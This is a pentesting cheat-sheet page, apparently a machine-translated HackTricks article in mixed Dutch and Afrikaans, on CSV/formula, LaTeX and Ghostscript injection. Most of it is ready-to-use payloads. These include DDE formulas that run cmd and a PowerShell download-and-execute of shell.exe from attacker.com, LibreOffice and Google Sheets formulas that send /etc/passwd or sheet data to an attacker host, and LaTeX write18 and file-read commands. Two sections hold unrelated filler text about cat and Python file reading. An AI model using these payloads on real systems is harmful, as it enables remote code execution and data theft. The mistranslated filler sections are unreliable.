hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
2024-02-11 02:07:06 +00:00

14 KiB

Formule/CSV/Doc/LaTeX/GhostScript-injectie

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere manieren om HackTricks te ondersteunen:

Vind kwetsbaarheden die het belangrijkst zijn, zodat je ze sneller kunt oplossen. Intruder volgt je aanvalsoppervlak, voert proactieve bedreigingsscans uit en vindt problemen in je hele technologiestack, van API's tot web-apps en cloudsystemen. Probeer het vandaag nog gratis.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Formule-injectie

Info

Als je invoer wordt weerspiegeld in CSV-bestanden (of een ander bestand dat waarschijnlijk wordt geopend door Excel), kun je mogelijk Excel-formules invoegen die worden uitgevoerd wanneer de gebruiker het bestand opent of wanneer de gebruiker op een link in het Excel-blad klikt.

{% hint style="danger" %} Tegenwoordig waarschuwt Excel (meerdere keren) de gebruiker wanneer er iets van buiten Excel wordt geladen, om hem te beschermen tegen kwaadwillige acties. Daarom moet er speciale aandacht worden besteed aan Social Engineering bij de uiteindelijke payload. {% endhint %}

Woordenlijst

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Skakel

Die volgende voorbeeld is baie nuttig om inhoud uit die finale Excel-blad te eksfiltreer en versoek na willekeurige plekke uit te voer. Dit vereis egter dat die gebruiker op die skakel klik (en die waarskuwings aanvaar).

Die volgende voorbeeld is geneem vanaf https://payatu.com/csv-injection-basic-to-exploit

Stel jou voor daar is 'n veiligheidsbreuk in 'n Student Record Management-stelsel wat uitgebuit word deur 'n CSV-injectie-aanval. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om studentbesonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige lading in die aansoek inspuit, spesifiek deur skadelike formules in te voer in velde wat bedoel is vir studentbesonderhede. Die aanval ontvou as volg:

  1. Injeksie van Kwaadwillige Lading:
  • Die aanvaller stuur 'n vorm vir studentbesonderhede in, maar sluit 'n formule in wat algemeen in sigblaaie gebruik word (bv. =HYPERLINK("<kwaadwillige_skakel>","Klik hier")).
  • Hierdie formule is ontwerp om 'n skakel te skep, maar dit verwys na 'n kwaadwillige bediener wat deur die aanvaller beheer word.
  1. Uitvoer van Gekompromitteerde Data:
  • Onderwysers, onbewus van die kompromis, gebruik die funksionaliteit van die aansoek om die data na 'n CSV-lêer uit te voer.
  • Die CSV-lêer bevat steeds die kwaadwillige lading wanneer dit geopen word. Hierdie lading verskyn as 'n kliekbare skakel in die sigblad.
  1. Aktivering van die Aanval:
  • 'n Onderwyser klik op die skakel en glo dit is 'n legitieme deel van die student se besonderhede.
  • Nadat daar geklik is, word sensitiewe data (moontlik insluitend besonderhede uit die sigblad of die onderwyser se rekenaar) na die aanvaller se bediener gestuur.
  1. Log van die Data:
  • Die aanvaller se bediener ontvang en log die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
  • Die aanvaller kan dan hierdie data gebruik vir verskeie kwaadwillige doeleindes, wat die privaatheid en veiligheid van die studente en die instelling verder kompromitteer.

RCE

Kyk na die oorspronklike pos vir verdere besonderhede.

In spesifieke konfigurasies of ouer weergawes van Excel kan 'n funksie genaamd Dinamiese Data-uitruil (DDE) uitgebuit word om arbitrêre opdragte uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:

  • Navigeer na Lêer → Opsies → Vertroue Sentrum → Vertroue Sentrum-instellings → Eksterne Inhoud, en aktiveer Dinamiese Data-uitruilbediener-lancering.

Wanneer 'n sigblad met die kwaadwillige lading geopen word (en as die gebruiker die waarskuwings aanvaar), word die lading uitgevoer. Byvoorbeeld, om die sakrekenaar-toepassing te begin, sal die lading wees:

`=cmd|' /C calc'!xxx`

Bykomende opdragte kan ook uitgevoer word, soos die aflaai en uitvoer van 'n lêer met behulp van PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Plaaslike Lêer Insluiting (LFI) in LibreOffice Calc

LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data uit te voer. Hier is 'n paar metodes:

  • Lees die eerste lyn van die plaaslike /etc/passwd lêer: ='file:///etc/passwd'#$passwd.A1
  • Voer die geleesde data uit na 'n aanvaller-beheerde bediener: =WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Voer meer as een lyn uit: =WEBSERVICE(CONCATENATE("http://<aanvaller IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS-uitvoer (stuur geleesde data as DNS-navrae na 'n aanvaller-beheerde DNS-bediener): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<aanvaller domein>"))

Google Sheets vir Out-of-Band (OOB) Data Uitvoer

Google Sheets bied funksies wat uitgebuit kan word vir OOB data uitvoer:

  • CONCATENATE: Voeg strings saam - =CONCATENATE(A2:E2)
  • IMPORTXML: Importeer data van gestruktureerde datatipes - =IMPORTXML(CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Importeer RSS- of ATOM-voer - =IMPORTFEED(CONCAT("http://<aanvaller IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Importeer data van HTML-tabelle of -lyste - =IMPORTHTML (CONCAT("http://<aanvaller IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Importeer 'n reeks selle van 'n ander sigblad - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Voeg 'n prent in 'n sel in - =IMAGE("https://<aanvaller IP:Port>/images/srpr/logo3w.png")

LaTeX Injeksie

Gewoonlik gebruik die bedieners wat op die internet gevind word wat LaTeX-kode na PDF omskakel die program pdflatex.
Hierdie program gebruik 3 hoofkenmerke om opdraguitvoering toe te laat of te verhoed:

  • --no-shell-escape: Deaktiveer die \write18{opdrag} konstruk, selfs as dit in die texmf.cnf-lêer geaktiveer is.
  • --shell-restricted: Dieselfde as --shell-escape, maar beperk tot 'n 'veilige' stel voorgeskrewe **opdragte (**Op Ubuntu 16.04 is die lys in /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Aktiveer die \write18{opdrag} konstruk. Die opdrag kan enige skelopdrag wees. Hierdie konstruk word normaalweg verhoed vir veiligheidsredes.

Daar is egter ander maniere om opdragte uit te voer, so dit is baie belangrik om --shell-restricted te gebruik om RCE te voorkom.

Lees lêer

Jy mag dalk die inspuiting met omhulsels soos [ of $ moet aanpas.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lees enkelvoudige lynlêer

Om 'n enkelvoudige lynlêer te lees, kan jy die volgende stappe volg:

  1. Identifiseer die lêer wat jy wil lees.

  2. Gebruik die toepaslike opdrag om die lêer te lees. Byvoorbeeld, as jy die cat-opdrag gebruik, tik dan die volgende in die opdragreël:

    cat lêernaam
    

    Vervang "lêernaam" met die naam van die lêer wat jy wil lees.

  3. Die inhoud van die enkelvoudige lynlêer sal op die skerm vertoon word.

Onthou om altyd die nodige toestemmings te hê om die lêer te lees.

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lees 'n lêer met meerdere lyne

Om 'n lêer met meerdere lyne te lees, kan jy die volgende stappe volg:

  1. Maak 'n veranderlike om die lêernaam te stoor, byvoorbeeld lêernaam = "lêernaam.txt".
  2. Maak 'n leserobjek aan om die lêer te lees, byvoorbeeld leser = open(lêernaam, "r").
  3. Gebruik die readlines()-metode om die inhoud van die lêer te lees en dit in 'n lys van lyne te stoor, byvoorbeeld lyne = leser.readlines().
  4. Sluit die leserobjek deur die close()-metode te gebruik, byvoorbeeld leser.close().

Hier is 'n voorbeeld van hoe jy hierdie stappe kan implementeer:

lêernaam = "lêernaam.txt"
leser = open(lêernaam, "r")
lyne = leser.readlines()
leser.close()

Nadat jy hierdie stappe gevolg het, sal die lyne-lys die inhoud van die lêer bevat, met elke lyn as 'n afsonderlike element in die lys.

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Skryf lêer

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Opdrag uitvoering

Die inset van die opdrag sal omgelei word na stdin, gebruik 'n tydelike lêer om dit te kry.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

As jy enige LaTex-fout kry, oorweeg om base64 te gebruik om die resultaat sonder slegte karakters te kry.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Kruiswebkriptering

Van @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript-injectering

Kyk https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Verwysings

Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. Probeer dit vandag nog gratis.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: